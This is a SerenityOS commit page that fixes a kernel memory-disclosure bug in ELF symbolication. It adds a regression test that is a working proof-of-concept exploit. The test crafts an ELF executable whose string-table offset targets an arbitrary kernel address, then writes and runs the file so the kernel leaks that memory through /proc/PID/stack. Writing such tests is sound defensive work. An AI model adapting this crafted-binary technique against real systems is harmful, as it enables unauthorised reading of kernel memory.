diff options
author | Andreas Kling <awesomekling@gmail.com> | 2020-01-16 22:04:44 +0100 |
---|---|---|
committer | Andreas Kling <awesomekling@gmail.com> | 2020-01-16 22:11:31 +0100 |
commit | c6e552ac8f0b59a54ae26b04344a8a1c4ccf404d (patch) | |
tree | 91d3631a6bfed6afeb0c07389687d373b5ec0f4e /Tests | |
parent | 60143c8d4e40ab8713ec1393ac19799a5d6f18db (diff) | |
download | serenity-c6e552ac8f0b59a54ae26b04344a8a1c4ccf404d.zip |
Kernel+LibELF: Don't blindly trust ELF symbol offsets in symbolication
It was possible to craft a custom ELF executable that when symbolicated
would cause the kernel to read from user-controlled addresses anywhere
in memory. You could then fetch this memory via /proc/PID/stack
We fix this by making ELFImage hand out StringView rather than raw
const char* for symbol names. In case a symbol offset is outside the
ELF image, you get a null StringView. :^)
Test: Kernel/elf-symbolication-kernel-read-exploit.cpp
Diffstat (limited to 'Tests')
-rw-r--r-- | Tests/Kernel/elf-symbolication-kernel-read-exploit.cpp | 106 |
1 files changed, 106 insertions, 0 deletions
diff --git a/Tests/Kernel/elf-symbolication-kernel-read-exploit.cpp b/Tests/Kernel/elf-symbolication-kernel-read-exploit.cpp new file mode 100644 index 0000000000..8ef6604eba --- /dev/null +++ b/Tests/Kernel/elf-symbolication-kernel-read-exploit.cpp @@ -0,0 +1,106 @@ +#include <LibELF/exec_elf.h> +#include <fcntl.h> +#include <stdio.h> +#include <string.h> +#include <unistd.h> + +asm("haxcode:\n" + "1: jmp 1b\n" + "haxcode_end:\n"); + +extern "C" void haxcode(); +extern "C" void haxcode_end(); + +int main() +{ + char buffer[16384]; + + auto& header = *(Elf32_Ehdr*)buffer; + header.e_ident[EI_MAG0] = ELFMAG0; + header.e_ident[EI_MAG1] = ELFMAG1; + header.e_ident[EI_MAG2] = ELFMAG2; + header.e_ident[EI_MAG3] = ELFMAG3; + header.e_ident[EI_CLASS] = ELFCLASS32; + header.e_ident[EI_DATA] = ELFDATA2LSB; + header.e_ident[EI_VERSION] = EV_CURRENT; + header.e_ident[EI_OSABI] = ELFOSABI_SYSV; + header.e_ident[EI_ABIVERSION] = 0; + header.e_type = ET_EXEC; + header.e_version = EV_CURRENT; + header.e_ehsize = sizeof(Elf32_Ehdr); + header.e_machine = EM_386; + header.e_shentsize = sizeof(Elf32_Shdr); + + header.e_phnum = 1; + header.e_phoff = 52; + header.e_phentsize = sizeof(Elf32_Phdr); + + auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]); + ph[0].p_vaddr = 0x20000000; + ph[0].p_type = PT_LOAD; + ph[0].p_filesz = sizeof(buffer); + ph[0].p_memsz = sizeof(buffer); + ph[0].p_flags = PF_R | PF_X; + ph[0].p_align = PAGE_SIZE; + + header.e_shnum = 3; + header.e_shoff = 1024; + + u32 secret_address = 0x00184658; + + auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]); + sh[0].sh_type = SHT_SYMTAB; + sh[0].sh_offset = 2048; + sh[0].sh_entsize = sizeof(Elf32_Sym); + sh[0].sh_size = 2 * sizeof(Elf32_Sym); + + sh[1].sh_type = SHT_STRTAB; + sh[1].sh_offset = secret_address - 0x01001000; + sh[1].sh_entsize = 0; + sh[1].sh_size = 1024; + + sh[2].sh_type = SHT_STRTAB; + sh[2].sh_offset = 4096; + sh[2].sh_entsize = 0; + sh[2].sh_size = 1024; + header.e_shstrndx = 2; + + auto* sym = (Elf32_Sym*)(&buffer[2048]); + sym[0].st_value = 0x20002000; + sym[0].st_name = 0; + + sym[1].st_value = 0x30000000; + sym[1].st_name = 0; + + auto* strtab = (char*)&buffer[3072]; + strcpy(strtab, "sneaky!"); + + auto* shstrtab = (char*)&buffer[4096]; + strcpy(shstrtab, ".strtab"); + + auto* code = &buffer[8192]; + size_t haxcode_size = (u32)haxcode_end - (u32)haxcode; + printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size); + memcpy(code, (void*)haxcode, haxcode_size); + + header.e_entry = 0x20000000 + 8192; + + int fd = open("x", O_RDWR | O_CREAT, 0777); + if (fd < 0) { + perror("open"); + return 1; + } + + int nwritten = write(fd, buffer, sizeof(buffer)); + if (nwritten < 0) { + perror("write"); + return 1; + } + + if (execl("/home/anon/x", "x", nullptr) < 0) { + perror("execl"); + return 1; + } + + return 0; +} |